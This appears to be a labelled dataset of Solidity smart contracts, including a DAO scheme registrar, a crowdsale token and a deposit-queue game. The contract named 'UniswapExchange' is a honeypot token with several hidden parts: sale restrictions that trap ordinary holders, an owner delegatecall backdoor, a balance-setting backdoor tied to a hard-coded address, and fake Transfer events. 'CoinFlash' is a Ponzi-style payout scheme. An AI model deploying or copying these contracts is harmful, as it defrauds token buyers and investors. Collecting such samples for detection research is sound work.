return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[_proposalId].avatar;
if (proposalsInfo[_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
contract SchemeRegistrar is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
event NewSchemeProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _scheme,
bytes32 _parametersHash,
bytes4 _permissions,
string _descriptionHash
);
event RemoveSchemeProposal(address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _scheme,
string _descriptionHash
);
event ProposalExecuted(address indexed _avatar, bytes32 indexed _proposalId, int256 _param);
event ProposalDeleted(address indexed _avatar, bytes32 indexed _proposalId);
struct SchemeProposal {
address scheme;
bool addScheme;
bytes32 parametersHash;
bytes4 permissions;
}
mapping(address=>mapping(bytes32=>SchemeProposal)) public organizationsProposals;
struct Parameters {
bytes32 voteRegisterParams;
bytes32 voteRemoveParams;
IntVoteInterface intVote;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _param) external onlyVotingMachine(_proposalId) returns(bool) {
Avatar avatar = proposalsInfo[_proposalId].avatar;
SchemeProposal memory proposal = organizationsProposals[address(avatar)][_proposalId];
require(proposal.scheme != address(0));
delete organizationsProposals[address(avatar)][_proposalId];
emit ProposalDeleted(address(avatar), _proposalId);
if (_param == 1) {
ControllerInterface controller = ControllerInterface(avatar.owner());
if (proposal.addScheme) {
require(controller.registerScheme(
proposal.scheme,
proposal.parametersHash,
proposal.permissions,
address(avatar))
);
}
if (!proposal.addScheme) {
require(controller.unregisterScheme(proposal.scheme, address(avatar)));
}
}
emit ProposalExecuted(address(avatar), _proposalId, _param);
return true;
}
function setParameters(
bytes32 _voteRegisterParams,
bytes32 _voteRemoveParams,
IntVoteInterface _intVote
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(_voteRegisterParams, _voteRemoveParams, _intVote);
parameters[paramsHash].voteRegisterParams = _voteRegisterParams;
parameters[paramsHash].voteRemoveParams = _voteRemoveParams;
parameters[paramsHash].intVote = _intVote;
return paramsHash;
}
function getParametersHash(
bytes32 _voteRegisterParams,
bytes32 _voteRemoveParams,
IntVoteInterface _intVote
) public pure returns(bytes32)
{
return keccak256(abi.encodePacked(_voteRegisterParams, _voteRemoveParams, _intVote));
}
function proposeScheme(
Avatar _avatar,
address _scheme,
bytes32 _parametersHash,
bytes4 _permissions,
string memory _descriptionHash
)
public
returns(bytes32)
{
require(_scheme != address(0), "scheme cannot be zero");
Parameters memory controllerParams = parameters[getParametersFromController(_avatar)];
bytes32 proposalId = controllerParams.intVote.propose(
2,
controllerParams.voteRegisterParams,
msg.sender,
address(_avatar)
);
SchemeProposal memory proposal = SchemeProposal({
scheme: _scheme,
parametersHash: _parametersHash,
addScheme: true,
permissions: _permissions
});
emit NewSchemeProposal(
address(_avatar),
proposalId,
address(controllerParams.intVote),
_scheme, _parametersHash,
_permissions,
_descriptionHash
);
organizationsProposals[address(_avatar)][proposalId] = proposal;
proposalsInfo[proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar,
votingMachine:address(controllerParams.intVote)
});
return proposalId;
}
function proposeToRemoveScheme(Avatar _avatar, address _scheme, string memory _descriptionHash)
public
returns(bytes32)
{
require(_scheme != address(0), "scheme cannot be zero");
bytes32 paramsHash = getParametersFromController(_avatar);
Parameters memory params = parameters[paramsHash];
IntVoteInterface intVote = params.intVote;
bytes32 proposalId = intVote.propose(2, params.voteRemoveParams, msg.sender, address(_avatar));
organizationsProposals[address(_avatar)][proposalId].scheme = _scheme;
emit RemoveSchemeProposal(address(_avatar), proposalId, address(intVote), _scheme, _descriptionHash);
proposalsInfo[proposalId] = ProposalInfo({
blockNumber:block.number,
avatar:_avatar,
votingMachine:address(params.intVote)
});
return proposalId;
}
} | 1 | 3,479 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,019 |
pragma solidity ^0.4.25;
contract CoinFlash {
address constant private TECH = 0x459ba253E69c77f14a83f61a4a11F068D84bD1e5;
address constant private PROMO = 0x9D643A827dB1768f956fBAEd0616Aaa20F0C99c9;
uint constant public TECH_PERCENT = 3;
uint constant public PROMO_PERCENT = 3;
uint constant public PRIZE_PERCENT = 2;
uint constant public MAX_INVESTMENT = 10 ether;
uint constant public MIN_INVESTMENT_FOR_PRIZE = 0.05 ether;
uint constant public MAX_IDLE_TIME = 20 minutes;
uint8[] MULTIPLIERS = [
111,
113,
117,
121,
125,
130,
135,
141
];
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct DepositCount {
int128 stage;
uint128 count;
}
struct LastDepositInfo {
uint128 index;
uint128 time;
}
Deposit[] private queue;
uint public currentReceiverIndex = 0;
uint public currentQueueSize = 0;
LastDepositInfo public lastDepositInfo;
uint public prizeAmount = 0;
int public stage = 0;
mapping(address => DepositCount) public depositsMade;
function () public payable {
require(tx.gasprice <= 50000000000 wei, "Gas price is too high! Do not cheat!");
if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value <= MAX_INVESTMENT, "The investment is too much!");
checkAndUpdateStage();
require(getStageStartTime(stage+1) >= now + MAX_IDLE_TIME);
addDeposit(msg.sender, msg.value);
pay();
}else if(msg.value == 0 && lastDepositInfo.index > 0 && msg.sender == queue[lastDepositInfo.index].depositor) {
withdrawPrize();
}
}
function pay() private {
uint balance = address(this).balance;
uint128 money = 0;
if(balance > prizeAmount)
money = uint128(balance - prizeAmount);
for(uint i=currentReceiverIndex; i<currentQueueSize; i++){
Deposit storage dep = queue[i];
if(money >= dep.expect){
dep.depositor.transfer(dep.expect);
money -= dep.expect;
delete queue[i];
}else{
dep.depositor.transfer(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex = i;
}
function addDeposit(address depositor, uint value) private {
DepositCount storage c = depositsMade[depositor];
if(c.stage != stage){
c.stage = int128(stage);
c.count = 0;
}
if(value >= MIN_INVESTMENT_FOR_PRIZE)
lastDepositInfo = LastDepositInfo(uint128(currentQueueSize), uint128(now));
uint multiplier = getDepositorMultiplier(depositor);
push(depositor, value, value*multiplier/100);
c.count++;
prizeAmount += value*PRIZE_PERCENT/100;
uint support = value*TECH_PERCENT/100;
TECH.transfer(support);
uint adv = value*PROMO_PERCENT/100;
PROMO.transfer(adv);
}
function checkAndUpdateStage() private{
int _stage = getCurrentStageByTime();
require(_stage >= stage, "We should only go forward in time");
if(_stage != stage){
proceedToNewStage(_stage);
}
}
function proceedToNewStage(int _stage) private {
stage = _stage;
currentQueueSize = 0;
currentReceiverIndex = 0;
delete lastDepositInfo;
}
function withdrawPrize() private {
require(lastDepositInfo.time > 0 && lastDepositInfo.time <= now - MAX_IDLE_TIME, "The last depositor is not confirmed yet");
require(currentReceiverIndex <= lastDepositInfo.index, "The last depositor should still be in queue");
uint balance = address(this).balance;
if(prizeAmount > balance)
prizeAmount = balance;
uint prize = prizeAmount;
queue[lastDepositInfo.index].depositor.transfer(prize);
prizeAmount = 0;
proceedToNewStage(stage + 1);
}
function push(address depositor, uint deposit, uint expect) private {
Deposit memory dep = Deposit(depositor, uint128(deposit), uint128(expect));
assert(currentQueueSize <= queue.length);
if(queue.length == currentQueueSize)
queue.push(dep);
else
queue[currentQueueSize] = dep;
currentQueueSize++;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function getDepositsCount(address depositor) public view returns (uint) {
uint c = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
if(queue[i].depositor == depositor)
c++;
}
return c;
}
function getDeposits(address depositor) public view returns (uint[] idxs, uint128[] deposits, uint128[] expects) {
uint c = getDepositsCount(depositor);
idxs = new uint[](c);
deposits = new uint128[](c);
expects = new uint128[](c);
if(c > 0) {
uint j = 0;
for(uint i=currentReceiverIndex; i<currentQueueSize; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
idxs[j] = i;
deposits[j] = dep.deposit;
expects[j] = dep.expect;
j++;
}
}
}
}
function getQueueLength() public view returns (uint) {
return currentQueueSize - currentReceiverIndex;
}
function getDepositorMultiplier(address depositor) public view returns (uint) {
DepositCount storage c = depositsMade[depositor];
uint count = 0;
if(c.stage == getCurrentStageByTime())
count = c.count;
if(count < MULTIPLIERS.length)
return MULTIPLIERS[count];
return MULTIPLIERS[MULTIPLIERS.length - 1];
}
function getCurrentStageByTime() public view returns (int) {
return int(now - 12 hours) / 1 days - 17847;
}
function getStageStartTime(int _stage) public pure returns (uint) {
return 12 hours + uint(_stage + 17847)*1 days;
}
function getCurrentCandidateForPrize() public view returns (address addr, int timeLeft){
if(currentReceiverIndex <= lastDepositInfo.index && lastDepositInfo.index < currentQueueSize){
Deposit storage d = queue[lastDepositInfo.index];
addr = d.depositor;
timeLeft = int(lastDepositInfo.time + MAX_IDLE_TIME) - int(now);
}
}
} | 0 | 357 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "MediLiVes Token";
string public constant TOKEN_SYMBOL = "MLIV";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x3e9611D1b334C1631F756bF1F42BE071cCbE66d4;
uint public constant START_TIME = 1563561000;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
